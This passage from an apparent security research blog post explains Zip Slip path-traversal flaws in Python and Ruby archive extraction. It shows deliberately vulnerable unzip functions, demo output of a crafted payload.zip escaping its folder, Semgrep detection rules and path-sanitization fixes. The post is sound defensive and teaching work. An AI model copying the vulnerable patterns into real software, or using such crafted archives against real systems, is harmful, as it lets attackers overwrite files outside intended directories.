&lt;p&gt;The combination of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ZipFile&lt;/code&gt; library as reader and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shutil.copyfileobj()&lt;/code&gt; as writer makes the programmer responsible for handling the extraction correctly.&lt;/p&gt;

&lt;p&gt;The usage of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shutil.copyfileobj()&lt;/code&gt; is straightforward: as the first argument, we pass the file descriptor of the file whose contents we want to extract, and as the second argument, we pass the file descriptor to the destination file. Since the method receives file descriptors instead of paths, it doesn’t know if the path is out of the output directory, making the following implementation vulnerable.&lt;/p&gt;

&lt;div class=&quot;language-py highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;unzip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# bad
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zipfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ZipFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'r'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;namelist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# Output
&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;output_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'wb'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;shutil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;copyfileobj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                    
&lt;span class=&quot;n&quot;&gt;unzip1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payloads&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;, &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;test_case&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we run the previous code, we’ll realize that instead of extracting the zip content (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;poc.txt&lt;/code&gt;) to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test_case&lt;/code&gt; folder, it will be extracted to the parent folder:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;python3 zipfile_shutil.py

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls &lt;/span&gt;test_case
&lt;span class=&quot;c&quot;&gt;# No output, empty folder&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls
&lt;/span&gt;payloads  poc.txt  test_case  zipfile_shutil.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ruby&quot;&gt;Ruby&lt;/h3&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;no&quot;&gt;Zip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extract()&lt;/code&gt; method in Ruby’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zip&lt;/code&gt; library is used to extract an entry from the archive to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file_path&lt;/code&gt; directory. This method is unsafe since it doesn’t remove redundant dots and path separators. It’s the caller’s responsibility to make sure that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file_path&lt;/code&gt; is safe:&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'zip'&lt;/span&gt;
 
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;unzip1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# bad&lt;/span&gt;
  &lt;span class=&quot;no&quot;&gt;Zip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;extraction_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;no&quot;&gt;FileUtils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;mkdir_p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;extraction_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;extraction_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;unzip1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'./payloads/payload.zip'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'./test_case/'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ruby zip_unsafe.rb

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls &lt;/span&gt;test_case
&lt;span class=&quot;c&quot;&gt;# No output, empty folder&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls
&lt;/span&gt;payloads  poc.txt  test_case  zip_unsafe.rb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;php-swift-js-and-java&quot;&gt;PHP, Swift, JS and Java&lt;/h3&gt;

&lt;p&gt;All the other cases are documented in Doyensec’s &lt;a href=&quot;https://github.com/doyensec/unsafe-Unpacking&quot;&gt;repository&lt;/a&gt;, along with the Semgrep rules and the labs.&lt;/p&gt;

&lt;h2 id=&quot;unsafe-unpacking-labs&quot;&gt;Unsafe Unpacking Labs&lt;/h2&gt;

&lt;p&gt;As part of the research, I developed a few web applications that allow users to test whether specific archive extraction implementations are vulnerable to decompression attacks.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/unsafe-unpacking-lab-1.png&quot; alt=&quot;Class Pollution Gadgets&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;RUN&lt;/strong&gt;: without uploading an archive, the application will extract one of the prebuilt malicious archives. If the user uploads an archive, that archive will be unpacked instead.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Clear TXT Files&lt;/strong&gt;: the application will remove all the extracted files from the previous archives.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Fetch Directory Contents&lt;/strong&gt;: the web application will show you both the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;archive directory&lt;/code&gt; (where files are supposed to be extracted) and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;current directory&lt;/code&gt; (where files are NOT supposed to be extracted).&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/unsafe-unpacking-lab-2.png&quot; alt=&quot;Class Pollution Gadgets&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;These web application labs are available for every language except Swift, for which a desktop application is provided instead.&lt;/p&gt;

&lt;h2 id=&quot;developing-semgrep-rules-for-vulnerability-detection&quot;&gt;Developing Semgrep Rules for Vulnerability Detection&lt;/h2&gt;

&lt;p&gt;One of the most efficient ways to detect vulnerabilities in open-source projects is by using static application analysis tools. Semgrep is a fast, open-source, static analysis tool that searches code, finds bugs, and enforces secure guardrails and coding standards.&lt;/p&gt;

&lt;p&gt;Semgrep works by scanning source code for specific syntax patterns. Since it supports various programming languages and makes it simple to write custom rules, it was ideal for my research purposes.&lt;/p&gt;

&lt;p&gt;In the following example I’m using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Unsafe-Unpacking/Python/PoC/src&lt;/code&gt; folder from the GitHub repository, which contains 5 unzipping vulnerabilities. You can run the Semgrep rule by using the following command:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;semgrep scan &lt;span class=&quot;nt&quot;&gt;--config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;../../rules/zip_shutil_python.yaml

...

┌─────────────────┐
│ 5 Code Findings │
└─────────────────┘

    zipfile_shutil.py
   ❯❯❱ rules.unsafe_unpacking
          Unsafe Zip Unpacking

           13┆ shutil.copyfileobj&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;source&lt;/span&gt;, destination&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            ⋮┆----------------------------------------
           21┆ shutil.copyfileobj&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;source&lt;/span&gt;, destination&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            ⋮┆----------------------------------------
           31┆ shutil.copyfileobj&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;source&lt;/span&gt;, destination&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            ⋮┆----------------------------------------
           41┆ shutil.copyfileobj&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;source&lt;/span&gt;, destination&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            ⋮┆----------------------------------------
           57┆ shutil.copyfileobj&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;source_file, target_file&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A set of &lt;strong&gt;15 rules&lt;/strong&gt; can be found in the GitHub repository.&lt;/p&gt;

&lt;h2 id=&quot;mitigation&quot;&gt;Mitigation&lt;/h2&gt;

&lt;p&gt;Since in most of the vulnerable implementations the programmer is responsible for sanitizing or validating the output path, they can take two approaches to mitigate the problem.&lt;/p&gt;

&lt;h3 id=&quot;1-path-sanitization&quot;&gt;1. Path Sanitization&lt;/h3&gt;

&lt;p&gt;To sanitize the path, the filename should be normalized. In the case of Ruby, the method &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Path.basename&lt;/code&gt; can be used, which removes redundant dots and converts a path like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../../../../bad.txt&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bad.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In the following code, when using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File.join&lt;/code&gt; to compute the output path, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File.basename&lt;/code&gt; is called to sanitize the entry filename from the archive, mitigating the vulnerability:&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;safe_unzip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# good&lt;/span&gt;
  &lt;span class=&quot;no&quot;&gt;Zip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;# sanitize the entry path&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;file_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;basename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
      &lt;span class=&quot;no&quot;&gt;FileUtils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;mkdir_p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The side effect of this mitigation is that the archive’s folder structure is flattened, and all files are extracted to a single folder. Due to this, the solution may not be ideal for many applications.&lt;/p&gt;

&lt;p&gt;Another solution would be using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Pathname.new().cleanpath&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pathname&lt;/code&gt; (a built-in Ruby class). It can normalize paths and remove any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../&lt;/code&gt; sequences:&lt;/p&gt;

&lt;div class=&quot;language-rb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'pathname'&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;safe_unzip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SEPARATOR&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;unless&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;end_with?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SEPARATOR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;no&quot;&gt;Zip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;zip_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;# Remove any relative path components like &quot;../&quot;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;sanitized_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Pathname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;cleanpath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_s&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;sanitized_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sanitized_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

